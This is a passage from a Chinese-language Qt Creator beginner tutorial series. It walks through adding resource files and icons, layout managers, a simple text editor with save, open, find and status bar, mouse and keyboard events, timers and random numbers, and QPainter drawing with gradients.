那里双击,并输入“文件(&F)”,这样便可将其文件菜单的 快捷键设为Alt+F。(注意括号最好用英文半角输入,这样看着美观) 3.输入完按下Enter 键确认即可,然后在子菜单中加入“新建(&N)”,确定后, 效果如下图。 4.我们在下面的动作编辑窗口可以看到新加的“新建”菜单。 5.双击这一条,可打开它的编辑对话框。我们看到Icon 项,这里可以更改“新 建”菜单的图标。 6.我们点击后面的...号,进入资源选择器,但现在这里面是空的。所以下面我 们需要给该工程添加外部资源。 7.添加资源有两种方法。一种是直接添加系统提供的资源文件,然后选择所需图 标。另一种是自己写资源文件。我们主要介绍第一种。新建Qt Resources file, 将它命名为menu。其他默认。 8.添加完后如下图。可以看到添加的文件为menu.qrc。 9.我们最好先在工程文件夹里新建一个文件夹,如images,然后将需要的图标 文件放到其中。 10.在Qt Creator 的menu.qrc 文件中,我们点击Add 下拉框,选择Add Prefix。 我们可以将生成的/new/prefix 前缀改为其他名字,如/File。 11.然后再选择Add 下拉框,选择Add Files。再弹出的对话框中,我们到新建 的images 文件夹下,将里面的图标文件全部添加过来。 12.添加完成后,我们在Qt Creator 的File 菜单里选择Save All 选项,保存所 做的更改。 13.这时再打开资源选择器,可以看到我们的图标都在这里了。(注意:如果不显 示,可以按一下上面的Reload 按钮) 14.我们将new.png 作为“新建”菜单的图标,然后点击Shortcut,并按下 Crtl+N,便能将Crtl+N 作为“新建”菜单的快捷键。 15.这时打开文件菜单,可以看到“新建”菜单已经有图标了。 运行程序后效果如下。 16.我们在工程文件夹下查看建立的menu.qrc 文件,可以用写字板将它打开。 其具体内容如下。 附:第二种添加资源文件的方法。 1.首先右击工程文件夹,在弹出的菜单中选择Add New,添加新文件。也可以用 File 中的添加新文件。 2.我们选择文本文件。 3.将文件名设置为menu.qrc。 4.添加好文件后将其内容修改如下。可以看到就是用第一种方法生成的 menu.qrc 文件的内容。 5.保存文件后,在资源管理器中可以看到添加的图标文件。 五、Qt Creator 布局管理器的使用(原创) 上篇讲解了如何在Qt Creator 中添加资源文件,并且为菜单添加了图标。这次 我们先对那个界面进行一些完善,然后讲解一些布局管理器的知识。 首先对菜单进行完善。 1.我们在上一次的基础上再加入一些常用菜单。 “文件”的子菜单如下图。中间的分割线可以点击Add Separator 添加。 “编辑”子菜单的内容如下。 “帮助”子菜单的内容如下。 2.我们在动作编辑器中对各个菜单的属性进行设置。 如下图。 3.我们拖动“新建”菜单的图标,将其放到工具栏里。 拖动“新建”菜单的图标。 将其放到菜单栏下面的工具栏里。 4.我们再添加其他几个图标。使用Append Separator 可以添加分割线。 5.最终效果如下。如果需要删除图标,可以在图标上点击右键选择Remove action 即可。 下面简述一下布局管理器。 (这里主要以垂直布局管理器进行讲解,其他类型管理器用法与之相同,其效 果可自己验证。) 1.在左边的器件栏里拖入三个PushButton 和一个Vertical Layout(垂直布局 管理器)到中心面板。如下图。 2.将这三个按钮放入垂直布局管理器,效果如下。可以看到按钮垂直方向排列, 并且宽度可以改变,但高度没有改变。 3.我们将布局管理器整体选中,按下上面工具栏的Break Layout 按钮,便可取 消布局管理器。(我们当然也可以先将按钮移出,再按下Delete 键将布局管理 器删除。) 4.下面我们改用分裂器部件(QSplitter)。 先将三个按钮同时选中,再按下上面工具栏的Lay Out Vertically in Splitter (垂直分裂器)。 效果如下图。可以看到按钮的大小可以随之改动。这也就是分裂器和布局管理器 的分别。 5.其实布局管理器不但能控制器件的布局,还有个很重要的用途是,它能使器件 的大小随着窗口大小的改变而改变。 我们先在主窗口的中心拖入一个文本编辑器Text Edit。 这时直接运行程序,效果如下。可以看到它的大小和位置不会随着窗口改变。 下面我们选中主窗口部件,然后在空白处点击鼠标右键,选择Layout->Lay Out in a Grid,使整个主窗口的中心区处于网格布局管理器中。 可以看到,这时文本编辑器已经占据了整个主窗口的中心区。 运行一下程序,可以看到无论怎样拉伸窗口,文本编辑框的大小都会随之改变。 我们在这里一共讲述了三种使用布局管理器的方法,一种是去器件栏添加,一 种是用工具栏的快捷图标,还有一种是使用鼠标右键的选项。 程序中用到的图标是我从Ubuntu 中复制的,可以到 http://www.qtcn.org/bbs/read.php?tid=23252&page=1&toread=1 下载到。 六、Qt Creator 实现文本编辑(原创) 前面已经将界面做好了,这里我们为其添加代码,实现文本编辑的功能。 首先实现新建文件,文件保存,和文件另存为的功能。 (我们先将上次的工程文件夹进行备份,然后再对其进行修改。在写较大的程序 时,经常对源文件进行备份,是个很好的习惯。) 在开始正式写程序之前,我们先要考虑一下整个流程。因为我们要写记事本一 样的软件,所以最好先打开windows 中的记事本,进行一些简单的操作,然后 考虑怎样去实现这些功能。再者,再强大的软件,它的功能也是一个一个加上 去的,不要设想一下子写出所有的功能。我们这里先实现新建文件,保存文件, 和文件另存为三个功能,是因为它们联系很紧,而且这三个功能总的代码量也 不是很大。 因为三个功能之间的关系并不复杂,所以我们这里便不再画流程图,而只是简 单描述一下。 新建文件,那么如果有正在编辑的文件,是否需要保存呢? 如果需要进行保存,那这个文件以前保存过吗?如果没有保存过,就应该先将其 另存为。 下面开始按这些关系写程序。 1.打开Qt Creator,在File 菜单中选择Open,然后在工程文件夹中打开 MainWindow.pro 工程文件。 先在main.cpp 文件中加入以下语句,让程序中可以使用中文。 在其中加入#include <QTextCodec> 头文件包含,再在主函数中加入下面一行: QTextCodec::setCodecForTr(QTextCodec::codecForLocale()); 这样在程序中使用中文,便能在运行时显示出来了。更改后文件如下图。 2.在mainwindow.h 文件中的private 下加入以下语句。 bool isSaved; //为true 时标志文件已经保存,为false 时标志文件尚未保存 QString curFile; //保存当前文件的文件名 void do_file_New(); //新建文件 void do_file_SaveOrNot(); //修改过的文件是否保存 void do_file_Save(); //保存文件 void do_file_SaveAs(); //文件另存为 bool saveFile(const QString& fileName); //存储文件 这些是变量和函数的声明。其中isSaved 变量起到标志的作用,用它来标志文件 是否被保存过。然后我们再在相应的源文件里进行这些函数的定义。 3.在mainwindow.cpp 中先加入头文件#include <QtGui>,然后在构造函数里添 加以下几行代码。 isSaved = false; //初始化文件为未保存过状态 curFile = tr("未命名.txt"); //初始化文件名为“未命名.txt” setWindowTitle(curFile); //初始化主窗口的标题 这是对主窗口进行初始化。效果如下。 4.然后添加“新建”操作的函数定义。 void MainWindow::do_file_New() //实现新建文件的功能 { do_file_SaveOrNot(); isSaved = false; curFile = tr("未命名.txt"); setWindowTitle(curFile); ui->textEdit->clear(); //清空文本编辑器 ui->textEdit->setVisible(true); //文本编辑器可见 } 新建文件,先要判断正在编辑的文件是否需要保存。然后将新建的文件标志为未 保存过状态。 5.再添加do_file_SaveOrNot 函数的定义。 void MainWindow::do_file_SaveOrNot() //弹出是否保存文件对话框 { if(ui->textEdit->document()->isModified()) //如果文件被更改过,弹出保 存对话框 { QMessageBox box; box.setWindowTitle(tr("警告")); box.setIcon(QMessageBox::Warning); box.setText(curFile + tr(" 尚未保存,是否保存?")); box.setStandardButtons(QMessageBox::Yes | QMessageBox::No); if(box.exec() == QMessageBox::Yes) //如果选择保存文件,则执行保存操作 do_file_Save(); } } 这个函数实现弹出一个对话框,询问是否保存正在编辑的文件。 6.再添加“保存”操作的函数定义。 void MainWindow::do_file_Save() //保存文件 { if(isSaved){ //如果文件已经被保存过,直接保存文件 saveFile(curFile); } else{ do_file_SaveAs(); //如果文件是第一次保存,那么调用另存为 } } 对文件进行保存时,先判断其是否已经被保存过,如果没有被保存过,就要先对 其进行另存为操作。 7.下面是“另存为”操作的函数定义。 void MainWindow::do_file_SaveAs() //文件另存为 { QString fileName = QFileDialog::getSaveFileName(this,tr("另存为 "),curFile); //获得文件名 if(!fileName.isEmpty()) //如果文件名不为空,则保存文件内容 { saveFile(fileName); } } 这里弹出一个文件对话框,显示文件另存为的路径。 8.下面是实际文件存储操作的函数定义。 bool MainWindow::saveFile(const QString& fileName) //保存文件内容,因为可能保存失败,所以具有返回值,来表明是否保存成功 { QFile file(fileName); if(!file.open(QFile::WriteOnly | QFile::Text)) //以只写方式打开文件,如果打开失败则弹出提示框并返回 { QMessageBox::warning(this,tr("保存文件"), tr("无法保存文件 %1:\n %2").arg(fileName) .arg(file.errorString())); return false; } //%1,%2 表示后面的两个arg 参数的值 QTextStream out(&file); //新建流对象,指向选定的文件 out << ui->textEdit->toPlainText(); //将文本编辑器里的内容以纯文本 的形式输出到流对象中 isSaved = true; curFile = QFileInfo(fileName).canonicalFilePath(); //获得文件的标准路 径 setWindowTitle(curFile); //将窗口名称改为现在窗口的路径 return true; } 这个函数实现将文本文件进行存储。下面我们对其中的一些代码进行讲解。 QFile file(fileName);一句,定义了一个QFile 类的对象file,其中filename 表明这个文件就是我们保存的的文件。然后我们就可以用file 代替这个文件, 来进行一些操作。Qt 中文件的操作和C,C++很相似。对于QFile 类对象怎么使 用,我们可以查看帮助。 点击Qt Creator 最左侧的Help,在其中输入QFile, 在搜索到的列表中选择QFile 即可。这时在右侧会显示出QFile 类中所有相关信 息以及他们的用法和说明。 // 我们往下拉,会发现下面有关于怎么读取文件的示例代码。 // // 再往下便能看到用QTextStream 类对象,进行字符串输入的例子。下面也提到了 QFileInfo 和QDir 等相关的类,我们可以点击它们去看一下具体的使用说明。 // 上面只是做了一个简单的说明。以后我们对自己不明白的类都可以去帮助里进行 查找,这也许是我们以后要做的最多的一件事了。对于其中的英文解释,我们最 好想办法弄明白它的大意,其实网上也有一些中文的翻译,但最好还是从一开始 就尝试着看英文原版的帮助,这样以后才不会对中文翻译产生依赖。 我们这次只是很简单的说明了一下怎样使用帮助文件,这不表明 它不重要,而是因为这里不可能将每个类的帮助都解释一遍,没有那么多时间, 也没有那么大的篇幅。而更重要的是因为,我们这个教程只是引你入门,所以很 多东西需要自己去尝试。 在以后的教程里,如果不是特殊情况,就不会再对其中的类进行 详细解释,文章中的重点是对整个程序的描述,其中不明白的类,自己查看帮助。 9.双击mainwindow.ui 文件,在图形界面窗口下面的Action Editor 动作编辑 器里,我们右击“新建”菜单一条,选择Go to slot,然后选择triggered(), 进入其触发事件槽函数。 同理,进入其他两个菜单的槽函数,将相应的操作的函数写入槽函数中。如下。 void MainWindow::on_action_New_triggered() //信号和槽的关联 { do_file_New(); } void MainWindow::on_action_Save_triggered() { do_file_Save(); } void MainWindow::on_action_SaveAs_triggered() { do_file_SaveAs(); } 这时点击运行,就能够实现新建文件,保存文件,文件另存为的功能了。 然后实现打开,关闭,退出,撤销,复制,剪切,粘贴的功能。 先备份上次的工程文件,然后再将其打开。 1.先在mainwindow.h 文件中加入函数的声明。 void do_file_Open(); //打开文件 bool do_file_Load(const QString& fileName); //读取文件 2.再在mainwindow.cpp 文件中写函数的功能实现。 void MainWindow::do_file_Open()//打开文件 { do_file_SaveOrNot();//是否需要保存现有文件 QString fileName = QFileDialog::getOpenFileName(this); //获得要打开的文件的名字 if(!fileName.isEmpty())//如果文件名不为空 { do_file_Load(fileName); } ui->textEdit->setVisible(true);//文本编辑器可见 } bool MainWindow::do_file_Load(const QString& fileName) //读取文件 { QFile file(fileName); if(!file.open(QFile::ReadOnly | QFile::Text)) { QMessageBox::warning(this,tr("读取文件"),tr("无法读取文件 %1:\n%2.").arg(fileName).arg(file.errorString())); return false; //如果打开文件失败,弹出对话框,并返回 } QTextStream in(&file); ui->textEdit->setText(in.readAll()); //将文件中的所有内容都 写到文本编辑器中 curFile = QFileInfo(fileName).canonicalFilePath(); setWindowTitle(curFile); return true; } 上面的打开文件函数与文件另存为函数相似,读取文件的函数与文件存储函数相 似。 3.然后按顺序加入更菜单的关联函数,如下。 void MainWindow::on_action_Open_triggered() //打开操作 { do_file_Open(); } // void MainWindow::on_action_Close_triggered() //关闭操作 { do_file_SaveOrNot(); ui->textEdit->setVisible(false); } // void MainWindow::on_action_Quit_triggered() //退出操作 { on_action_Close_triggered(); //先执行关闭操作 qApp->quit(); //再退出系统,qApp 是指向应用程序的全局指针 } // void MainWindow::on_action_Undo_triggered() //撤销操作 { ui->textEdit->undo(); } // void MainWindow::on_action_Cut_triggered() //剪切操作 { ui->textEdit->cut(); } // void MainWindow::on_action_Copy_triggered() //复制操作 { ui->textEdit->copy(); } // void MainWindow::on_action_Past_triggered() //粘贴操作 { ui->textEdit->paste(); } 因为复制,撤销,全选,粘贴,剪切等功能,是TextEdit 默认就有的,所以我 们只需调用一下相应函数就行。 到这里,除了查找和帮助两个菜单的功能没有加上以外,其他功能都已经实现了。 七、Qt Creator 实现文本查找(原创) 现在加上查找菜单的功能。因为这里要涉及关于Qt Creator 的很多实用功能, 所以单独用一篇文章来介绍。 以前都用设计器设计界面,而这次我们用代码实现一个简单的查找对话框。对于 怎么实现查找功能的,我们详细地分步说明了怎么进行类中方法的查找和使用。 其中也将Qt Creator 智能化的代码补全功能和程序中函数的声明位置和定义位 置间的快速切换进行了介绍。 1.首先还是保存以前的工程,然后再将其打开。 我们发现Qt Creator 默认的字体有点小,可以按下Ctrl 键的同时按两下+键, 来放大字体。也可以选择Edit->Advanced->Increase Font Size。 2.在mainwindow.h 中加入#include <QLineEdit>的头文件包含,在private 中 添加 QLineEdit *find_textLineEdit; //声明一个行编辑器,用于输入要查找的内容 在private slots 中添加 void show_findText(); 在该函数中实现查找字符串的功能。 3.我们进入查找菜单的触发事件槽函数,更改如下。 void MainWindow::on_action_Find_triggered() { QDialog *findDlg = new QDialog(this); //新建一个对话框,用于查找操作,this 表明它的父窗口是MainWindow。 findDlg->setWindowTitle(tr("查找")); //设置对话框的标题 find_textLineEdit = new QLineEdit(findDlg); //将行编辑器加入到新建的查找对话框中 QPushButton *find_Btn = new QPushButton(tr("查找下一个"),findDlg); //加入一个“查找下一个”的按钮 QVBoxLayout* layout = new QVBoxLayout(findDlg); layout->addWidget(find_textLineEdit); layout->addWidget(find_Btn); //新建一个垂直布局管理器,并将行编辑器和按钮加入其中 findDlg ->show(); //显示对话框 connect(find_Btn,SIGNAL(clicked()),this,SLOT(show_findText())); //设置“查找下一个”按钮的单击事件和其槽函数的关联 } 这里我们直接用代码生成了一个对话框,其中一个行编辑器可以输入要查找的字 符,一个按钮可以进行查找操作。我们将这两个部件放到了一个垂直布局管理器 中。然后显示这个对话框。并设置了那个按钮单击事件与show_findText()函数 的关联。 5.下面我们开始写实现查找功能的show_findText()函数。 void MainWindow::show_findText()//“查找下一个”按钮的槽函数 { QString findText = find_textLineEdit->text(); //获取行编辑器中的内容 } 先用一个QString 类的对象获得要查找的字符。然后我们一步一步写查找操作的 语句。 6.在下一行写下ui,然后直接按下键盘上的“<.”键,这时系统会根据是否是 指针对象而自动生成“->”或“.”,因为ui 是指针对象,所以自动生成“->” 号,而且弹出了ui 中的所有部件名称的列表。如下图。 7.我们用向下的方向键选中列表中的textEdit。或者我们可以先输入text,这 时能缩减列表的内容。 8.如上图我们将鼠标放到textEdit 上,这时便出现了textEdit 的类名信息, 且后面出现一个F1 按键。我们按下键盘上的F1,便能出现textEdit 的帮助。 9.我们在帮助中向下拉,会发现这里有一个find 函数。 10.我们点击find,查看其详细说明。 11.可以看到find 函数可以实现文本编辑器中字符串的查找。其中有一个 FindFlags 的参数,我们点击它查看其说明。 12.可以看到它是一个枚举变量(enum),有三个选项,第一项是向后查找(即 查找光标以前的内容,这里的前后是相对的说法,比如第一行已经用完了,光 标在第二行时,把第一行叫做向后。),第二项是区分大小写查找,第三项是 查找全部。 13.我们选用第一项,然后写出下面的语句。 ui->textEdit->find(findText,QTextDocument::FindBackward); //将行编辑器中的内容在文本编辑器中进行查找 当我们刚打出“f”时,就能自动弹出textEdit 类的相关属性和方法。 可以看到,当写完函数名和第一个“(”后,系统会自动显示出该函数的函数原 型,这样可以使我们减少出错。 14.这时已经能实现查找的功能了。但是我们刚才看到find 的返回值类型是bool 型,而且,我们也应该为查找不到字符串作出提示。 if(!ui->textEdit->find(findText,QTextDocument::FindBackward)) { QMessageBox::warning(this,tr("查找"),tr("找不到 %1") .arg(findText); } 因为查找失败返回值是false,所以if 条件加了“!”号。在找不到时弹出警 告对话框。 15.到这里,查找功能就基本上写完了。show_findText()函数的内容如下。 我们会发现随着程序功能的增强,其中的函数也会越来越多,我们都会为查找 某个函数的定义位置感到头疼。而在Qt Creator 中有几种快速定位函数的方法, 我们这里讲解三种。 第一,在函数声明的地方直接跳转到函数定义的地方。 如在do_file_Load 上点击鼠标右键,在弹出的菜单中选择Follow Symbol under Cursor 或者下面的Switch between Method Declaration/Definition。 这时系统就会自动跳转到函数定义的位置。如下图。 第二,快速查找一个文件里的所有函数。 我们可以点击窗口最上面的下拉框,这里会显示本文件中所有函数的列表。 第三,利用查找功能。 1.我们先将鼠标定位到一个函数名上。 2.然后选择Edit->Find/Replace->Find Dialog。 3.这时会出现一个查找对话框,可以看到要查找的函数名已经写在里面了。 4.当我们按下Search 按钮后,会在查找结果窗口显示查找到的结果。 5.我们点击第二个文件。会发现在这个文件中有两处关键字是高亮显示。 6.我们双击第二项,就会自动跳转到函数的定义处。 文章讲到这里,我们已经很详细地说明了怎样去使用一个类里面没有用过的方法 函数;也说明了Qt Creator 中的一些便捷操作。可以看到,Qt Creator 开发环 境,有很多很人性化的设计,我们应该熟练应用它们。 在以后的文章中,我们不会再很详细地去用帮助来说明一个函数是 怎么来的,该怎么用,这些应该自己试着去查找。 八、Qt Creator 实现状态栏显示(原创) 在程序主窗口Mainwindow 中,有菜单栏,工具栏,中心部件和状态栏。前面几 个已经讲过了,这次讲解状态栏的使用。 程序中有哪些不明白的类或函数,请自己查看帮助。 1.我们在mainwindow.h 中做一下更改。 加入头文件包含: #include <QLabel> 加入私有变量和函数: QLabel* first_statusLabel; //声明两个标签对象,用于显示状态信息 QLabel* second_statusLabel; void init_statusBar(); //初始化状态栏 加入一个槽函数声明:void do_cursorChanged(); //获取光标位置信息 2.在mainwindow.cpp 中加入状态栏初始化函数的定义。 void MainWindow::init_statusBar() { QStatusBar* bar = ui->statusBar; //获取状态栏 first_statusLabel = new QLabel; //新建标签 first_statusLabel->setMinimumSize(150,20); //设置标签最小尺寸 first_statusLabel->setFrameShape(QFrame::WinPanel); //设置标签形状 first_statusLabel->setFrameShadow(QFrame::Sunken); //设置标签阴影 second_statusLabel = new QLabel; second_statusLabel->setMinimumSize(150,20); second_statusLabel->setFrameShape(QFrame::WinPanel); second_statusLabel->setFrameShadow(QFrame::Sunken); bar->addWidget(first_statusLabel); bar->addWidget(second_statusLabel); first_statusLabel->setText(tr("欢迎使用文本编辑器")); //初始化内容 second_statusLabel->setText(tr("yafeilinux 制作!")); } 这里将两个标签对象加入到了主窗口的状态栏里,并设置了他们的外观和初值。 3.在构造函数里调用状态栏初始化函数。 init_statusBar(); 这时运行程序,效果如下。 4.在mainwindow.cpp 中加入获取光标位置的函数的定义。 void MainWindow::do_cursorChanged() { int rowNum = ui->textEdit->document()->blockCount(); //获取光标所在行的行号 const QTextCursor cursor = ui->textEdit->textCursor(); int colNum = cursor.columnNumber(); //获取光标所在列的列号 first_statusLabel->setText(tr("%1 行 %2 列").arg(rowNum).arg(colNum)); //在状态栏显示光标位置 } 这个函数可获取文本编辑框中光标的位置,并显示在状态栏中。 5.在构造函数添加光标位置改变信号的关联。 connect(ui->textEdit,SIGNAL(cursorPositionChanged()),this,SLOT(do_cur sorChanged())); 这时运行程序。效果如下。 6.在do_file_Load 函数的最后添加下面语句。 second_statusLabel->setText(tr("打开文件成功")); 7.在saveFile 函数的最后添加以下语句。 second_statusLabel->setText(tr("保存文件成功")); 8.在on_action_Find_triggered 函数的后面添加如下语句。 second_statusLabel->setText(tr("正在进行查找")); 9.在on_action_Close_triggered 函数最后添加如下语句。 first_statusLabel->setText(tr("文本编辑器已关闭")); second_statusLabel->setText(tr("yafeilinux 制作!")); 到这里整个文本编辑器的程序就算写完了。我们这里没有写帮助菜单的功能实 现,大家可以自己添加。而且程序中也有很多漏洞和不完善的地方,如果有兴 趣,大家也可以自己修改。因为时间和篇幅的原因,我们这里就不再过多的讲 述。 九、Qt Creator 中鼠标键盘事件的处理实现自定义鼠标指针(原创) 我们前面一直在说信号,比方说用鼠标按了一下按钮,这样就会产生一个按钮的 单击信号,然后我们可以在相应的槽函数里进行相应功能的设置。其实在按下鼠 标后,程序要先接收到鼠标按下的事件,然后将这个事件按默认的设置传给按钮。 可以看出,事件和信号并不是一回事,事件比信号更底层。而我们以前把单击按 钮也叫做事件,这是不确切的,不过大家都知道是什么意思,所以当时也没有细 分。 Qt 中的事件可以在QEvent 中查看。下面我们只是找两个例子来进行简单的演示。 1.还是先建立一个Qt4 Gui Application 工程,我这里起名为event。 2.添加代码,让程序中可以使用中文。 即在main.cpp 文件中加入#include <QTextCodec>的头文件包含。 再在下面的主函数里添加 QTextCodec::setCodecForTr(QTextCodec::codecForLocale()); 3.在mainwindow.h 文件中做一下更改。 添加#include <QtGui>头文件。因为这样就包含了QtGui 中所有的子文件。 在public 中添加两个函数的声明 void mouseMoveEvent(QMouseEvent *); void keyPressEvent(QKeyEvent *); 4.我们在mainwindow.ui 中添加一个Label 和一个PushButton,将他们拉长点, 因为一会要在上面显示标语。 5.在mainwindow.cpp 中的构造函数里添加两个部件的显示文本。 ui->label->setText(tr("按下键盘上的A 键试试!")); ui->pushButton->setText(tr("按下鼠标的一个键,然后移动鼠标试试")); 6.然后在下面进行两个函数的定义。 /*以下是鼠标移动事件*/ void MainWindow::mouseMoveEvent(QMouseEvent *m) {//这里的函数名和参数不能更改 QCursor my(QPixmap("E:/Qt/Qt-Creator-Example/event/time.png")); //为鼠标指针选择图片,注意这里要用绝对路径,且要用“/”,而不能用“\” QApplication::setOverrideCursor(my); //将鼠标指针更改为自己设置的图片 int x = m->pos().x(); int y = m->pos().y(); //获取鼠标现在的位置坐标 ui->pushButton->setText(tr("鼠标现在的坐标是(%1,%2), 哈哈好玩吧 ").arg(x).arg(y)); //将鼠标的位置坐标显示在按钮上 ui->pushButton->move(m->pos()); //让按钮跟随鼠标移动 } /*以下是键盘按下事件*/ void MainWindow::keyPressEvent(QKeyEvent *k) { if(k->key() == Qt::Key_A) //判断是否是A 键按下 { ui->label->setPixmap(QPixmap("E:/Qt/Qt-Creator-Example/event/linux.jp g")); ui->label->resize(100,100); //更改标签图片和大小 } } 注意:这两个函数不是自己新建的,而是对已有函数的重定义,所有函数名和参 数都不能改。第一个函数对鼠标移动事件进行了重写。其中实现了鼠标指针的更 改,和按钮跟随鼠标移动的功能。 第二个函数对键盘的A 键按下实现了新的功能。 效果如下。 按下鼠标的一个键,并移动鼠标。 按下键盘上的A 键。 十、Qt Creator 中实现定时器和产生随机数(原创) 有两种方法实现定时器。 第一种。自己建立关联。 1.新建Gui 工程,工程名可以设置为timer。并在主界面上添加一个标签label, 并设置其显示内容为“0000-00-00 00:00:00 星期日”。 2.在mainwindow.h 中添加槽函数声明。 private slots: void timerUpDate(); 3.在mainwindow.cpp 中添加代码。 添加#include <QtCore>的头文件包含,这样就包含了QtCore 下的所有文件。 构造函数里添加代码: QTimer *timer = new QTimer(this); //新建定时器 connect(timer,SIGNAL(timeout()),this,SLOT(timerUpDate())); //关联定时器计满信号和相应的槽函数 timer->start(1000); //定时器开始计时,其中1000 表示1000ms 即1 秒 4.然后实现更新函数。 void MainWindow::timerUpDate() { QDateTime time = QDateTime::currentDateTime(); //获取系统现在的时间 QString str = time.toString("yyyy-MM-dd hh:mm:ss dddd"); //设置系统时间显示格式 ui->label->setText(str); //在标签上显示时间 } 5.运行程序,效果如下。 第二种。使用事件。(有点像单片机中的定时器啊) 1.新建工程。在窗口上添加两个标签。 2.在main.cpp 中添加代码,实现中文显示。 #include <QTextCodec> QTextCodec::setCodecForTr(QTextCodec::codecForLocale()); 3.在mainwindow.h 中添加代码。 void timerEvent(QTimerEvent *); 4.在mainwindow.cpp 中添加代码。 添加头文件#include <QtCore> 在构造函数里添加以下代码。 startTimer(1000); //其返回值为1,即其timerId 为1 startTimer(5000);//其返回值为2,即其timerId 为2 startTimer(10000); //其返回值为3,即其timerId 为3 添加了三个定时器,它们的timerId 分别为1,2,3。注意,第几个定时器的返 回值就为几。所以要注意定时器顺序。 在下面添加函数实现。 void MainWindow::timerEvent(QTimerEvent *t) //定时器事件 { switch(t->timerId()) //判断定时器的句柄 { case 1 : ui->label->setText(tr("每秒产生一个随机数: %1").arg(qrand()%10));break; case 2 : ui->label_2->setText(tr("5 秒后软件将关闭"));break; case 3 : qApp->quit();break; //退出系统 } } 这里添加了三个定时器,并都在定时器事件中判断它们,然后执行相应的功能。 这样就不用每个定时器都写一个关联函数和槽函数了。 随机数的实现: 上面程序中的qrand(),可以产生随机数,qrand()%10 可以产生0-9 之间的随机 数。要想产生100 以内的随机数就%100。以此类推。 但这样每次启动程序后,都按同一种顺序产生随机数。为了实现每次启动程序产 生不同的初始值。我们可以使用qsrand(time(0));实现设置随机数的初值,而 程序每次启动时time(0)返回的值都不同,这样就实现了产生不同初始值的功 能。 我们将qsrand(time(0));一句加入构造函数里。 程序最终运行效果如下。 十一、Qt 2D 绘图(一)绘制简单图形(原创) 声明:本文原创于yafeilinux 的百度博客,http://hi.baidu.com/yafeilinux 转载请注明出处。 说明:以后使用的环境为基于Qt 4.6 的Qt Creator 1.3.0 windows 版本 本文介绍在窗口上绘制最简单的图形的方法。 1.新建Qt4 Gui Application 工程,我这里使用的工程名为painter01,选用 QDialog 作为Base class 2.在dialog.h 文件中声明重绘事件函数void paintEvent(QPaintEvent *); 3.在dialog.cpp 中添加绘图类QPainter 的头文件包含#include <QPainter> 4.在下面进行该函数的重定义。 void Dialog::paintEvent(QPaintEvent *) { QPainter painter(this); painter.drawLine(0,0,100,100); } 其中创建了QPainter 类对象,它是用来进行绘制图形的,我们这里画了一条线 Line,其中的参数为线的起点(0,0),和终点(100,100)。这里的数值指的 是像素,详细的坐标设置我们以后再讲,这里知道(0,0)点指的是窗口的左上 角即可。运行效果如下: 5.在qt 的帮助里可以查看所有的绘制函数,而且下面还给出了相关的例子。 6.我们下面将几个知识点说明一下,帮助大家更快入门。 将函数改为如下: void Dialog::paintEvent(QPaintEvent *) { QPainter painter(this); QPen pen; //画笔 pen.setColor(QColor(255,0,0)); QBrush brush(QColor(0,255,0,125)); //画刷 painter.setPen(pen); //添加画笔 painter.setBrush(brush); //添加画刷 painter.drawRect(100,100,200,200); //绘制矩形 } 这里的pen 用来绘制边框,brush 用来进行封闭区域的填充,QColor 类用来提供 颜色,我们这里使用了rgb 方法来生成颜色,即(red,green,blue),它们取 值分别是0-255,例如(255,0,0)表示红色,而全0 表示黑色,全255 表示 白色。后面的(0,255,0,125),其中的125 是透明度(alpha)设置,其值 也是从0 到255,0 表示全透明。最后将画笔和画刷添加到painter 绘制设备中, 画出图形。这里的Rect 是长方形,其中的参数为(100,100)表示起始坐标, 200,200 表示长和宽。效果如下: 7.其实画笔和画刷也有很多设置,大家可以查看帮助。 QPainter painter(this); QPen pen(Qt::DotLine); QBrush brush(Qt::blue); brush.setStyle(Qt::HorPattern); painter.setPen(pen); painter.setBrush(brush); painter.drawRect(100,100,200,200); 这里我们设置了画笔的风格为点线,画刷的风格为并行横线,效果如下: 在帮助里可以看到所有的风格。 我们这里用了Qt::blue,Qt 自定义的几个颜色如下: 8.画弧线,这是帮助里的一个例子。 QRectF rectangle(10.0, 20.0, 80.0, 60.0); //矩形 int startAngle = 30 * 16; //起始角度 int spanAngle = 120 * 16; //跨越度数 QPainter painter(this); painter.drawArc(rectangle, startAngle, spanAngle); 这里要说明的是,画弧线时,角度被分成了十六分之一,就是说,要想为30 度, 就得是30*16。它有起始角度和跨度,还有位置矩形,要想画出自己想要的弧线, 就要有一定的几何知识了。这里就不再祥述。 十二、Qt 2D 绘图(二)渐变填充(原创) 声明:本文原创于yafeilinux 的百度博客,http://hi.baidu.com/yafeilinux 转载请注明出处。 在qt 中提供了三种渐变方式,分别是线性渐变,圆形渐变和圆锥渐变。如果能 熟练应用它们,就能设计出炫目的填充效果。 线性渐变: 1.更改函数如下: void Dialog::paintEvent(QPaintEvent *) { QPainter painter(this); QLinearGradient linearGradient(100,150,300,150); //从点(100,150)开始到点(300,150)结束,确定一条直线 linearGradient.setColorAt(0,Qt::red); linearGradient.setColorAt(0.2,Qt::black); linearGradient.setColorAt(0.4,Qt::yellow); linearGradient.setColorAt(0.6,Qt::white); linearGradient.setColorAt(0.8,Qt::green); linearGradient.setColorAt(1,Qt::blue); //将直线开始点设为0,终点设为1,然后分段设置颜色 painter.setBrush(linearGradient); painter.drawRect(100,100,200,100); //绘制矩形,线性渐变线正好在矩形的水平中心线上 } 效果如下: 圆形渐变: 1.更改函数内容如下: QRadialGradient radialGradient(200,100,100,200,100); //其中参数分别为圆形渐变的圆心(200,100),半径100,和焦点(200, 100) //这里让焦点和圆心重合,从而形成从圆心向外渐变的效果 radialGradient.setColorAt(0,Qt::black); radialGradient.setColorAt(1,Qt::yellow); //渐变从焦点向整个圆进行,焦点为起始点0,圆的边界为1 QPainter painter(this); painter.setBrush(radialGradient); painter.drawEllipse(100,0,200,200); //绘制圆,让它正好和上面的圆形渐变的圆重合 效果如下: 2.要想改变填充的效果,只需要改变焦点的位置和渐变的颜色位置即可。 改变焦点位置:QRadialGradient radialGradient(200,100,100,100,100); 效果如下: 锥形渐变: 1.更改函数内容如下: //圆锥渐变 QConicalGradient conicalGradient(50,50,0); //圆心为(50,50),开始角度为0 conicalGradient.setColorAt(0,Qt::green); conicalGradient.setColorAt(1,Qt::white); //从圆心的0 度角开始逆时针填充 QPainter painter(this); painter.setBrush(conicalGradient); painter.drawEllipse(0,0,100,100); 效果如下: 2.可以更改开始角度,来改变填充效果 QConicalGradient conicalGradient(50,50,30); 开始角度设置为30 度,效果如下: 其实三种渐变的设置都在于焦点和渐变颜色的位置,如果想设计出漂亮的渐变 效果,还要有美术功底啊! 十二、Qt 2D 绘图(三)绘制文字(原创) 